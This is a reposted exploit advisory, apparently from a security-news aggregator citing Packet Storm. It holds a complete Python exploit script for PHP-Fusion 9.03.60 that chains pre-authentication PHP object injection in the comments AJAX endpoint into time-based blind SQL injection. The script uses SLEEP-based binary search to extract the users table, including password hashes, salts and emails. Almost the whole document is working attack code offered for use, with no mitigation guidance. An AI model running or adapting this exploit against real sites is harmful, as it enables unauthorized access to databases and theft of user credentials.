Exploit/Advisories

Published on June 22nd, 2020 📆 | 7938 Views ⚑

0

PHP-Fusion 9.03.60 PHP Object Injection / SQL Injection ≈ Packet Storm


iSpeech
[*]# Exploit Title: PHP-Fusion v9.03.60, PHP Object Injection to SQL injection (pre-auth)[*]# Date: 2020-05-26[*]# Exploit Author: coiffeur[*]# Vendor Homepage: https://www.php-fusion.co.uk/home.php[*]# Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php[*]# Version: v9.03.60

import sys

import requests

import subprocess

GENERATOR_NAME = "gen.php"[*]GENERATOR_CONTENT = """< ?php[*]if (count($argv) < 2) {[*]echo 'Usage: php gen.php ""';[*]die;[*]}

$ar["comment_item_id"] = "1";[*]$ar["comment_item_type"] = $argv[1];

$payload = urlencode(base64_encode(serialize($ar)));[*]echo $payload;[*]?>[*]"""

DEBUG = 1[*]DELTA = None[*]TRESHOLD = 0.60[*]LIKE = "f%admin"[*]COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password",[*]"user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"]

def usage():[*]banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection[*]SYNOPSIS: python poi_to_sqli_9.03.50.py [*]DESCRIPTION:[*]Dump the content of the table named fusionX...X_users[*]AUTHOR: coiffeur[*]"""[*]print(banner)

def generator(action):[*]if action == "w":[*]with open(GENERATOR_NAME, "w") as f:[*]f.write(GENERATOR_CONTENT)[*]if action == "r":[*]_ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE)

def generate_payload(text):[*]p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE)[*]out, _ = p.communicate()[*]return out

def check(payload):[*]datas = {"comment_options": generate_payload(payload)}[*]r = requests.post([*]url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas)[*]return r.elapsed.total_seconds()

def evaluate_delay():[*]global DELTA[*]deltas = [][*]payload = "' UNION SELECT SLEEP(2)-- - '"[*]for _ in range(3):[*]deltas.append(check(payload))[*]DELTA = sum(deltas)/len(deltas)

def get_tbl_name_len():[*]i = 0[*]while 1:[*]payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )< {i} THEN SLEEP(2) ELSE 0 END) -- - '"[*]if check(payload) >= DELTA*TRESHOLD:[*]return i-1[*]if i > 100:[*]print(f"[x] Exploit failed")[*]exit(-1)[*]i += 1

def get_tbl_name(length):[*]tbl_name = ""[*]for i in range(1, length+1):[*]min, max = 0, 127-1[*]while min < max:[*]mid = (max + min) // 2[*]payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"[*]if check(payload) >= DELTA*TRESHOLD:[*]max = mid[*]else:[*]min = mid + 1[*]tbl_name += chr(min)[*]if DEBUG:[*]print(f"[DEBUG] Table name: {tbl_name}")[*]return tbl_name

def get_rows_number(tbl_name):[*]i = 0[*]while 1:[*]payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '"[*]if check(payload) >= DELTA*TRESHOLD:[*]return i[*]i += 1

def get_elt_len(tbl_name, column_name, offset):[*]i = 0[*]while 1:[*]payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})< {i} THEN SLEEP(2) ELSE 0 END) -- - '"[*]if check(payload) >= DELTA*TRESHOLD:[*]if DEBUG:[*]print([*]f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}")[*]return i-1[*]i += 1





def get_elt(tbl_name, column_name, offset, length):[*]elt = ""[*]for i in range(1, length+1):[*]min, max = 0, 127-1[*]while min < max:[*]mid = (max + min) // 2[*]payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '"[*]if check(payload) >= DELTA*TRESHOLD:[*]max = mid[*]else:[*]min = mid + 1[*]elt += chr(min)[*]if DEBUG:[*]print([*]f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}")[*]print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}")[*]return elt

def get_rows(tbl_name, row_number):[*]print(f"[*] Trying to dump {tbl_name}")[*]rows = [][*]for offset in range(row_number):[*]row = [][*]for column_name in COLUMNS:[*]elt_length = get_elt_len(tbl_name, column_name, offset)[*]row.append(get_elt(tbl_name, column_name, offset, elt_length))[*]print(f"[*] Row {offset}: {row}")[*]rows.append(row)[*]print(f"[*] Rows: {rows}")

def main():[*]if len(sys.argv) < 2:[*]print(usage())[*]exit(-1)

if DEBUG:[*]print(f"[*] Target: {sys.argv[1]}")

if DEBUG:[*]print(f"[DEBUG] Writting generator to {GENERATOR_NAME}")[*]generator("w")

evaluate_delay()[*]if DEBUG:[*]print(f"[*] Delta: {DELTA}")

tbl_name_len = get_tbl_name_len()[*]if DEBUG:[*]print([*]f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}")

tbl_name = get_tbl_name(tbl_name_len)[*]print(f" Table name: {tbl_name}")

prefix = f"{tbl_name.split('_')[0]}_"[*]print(f"[*] Prefix: {prefix}")

user_table_name = f"{prefix}users"

number_of_rows = get_rows_number(user_table_name)[*]if DEBUG:[*]print(f"[*] {user_table_name} got {number_of_rows} rows")

get_rows(user_table_name, number_of_rows)

if DEBUG:[*]print(f"[DEBUG] Removing {GENERATOR_NAME}")[*]generator("r")

if __name__ == "__main__":[*]main()[*]

Source link

Tagged with:



Comments are closed.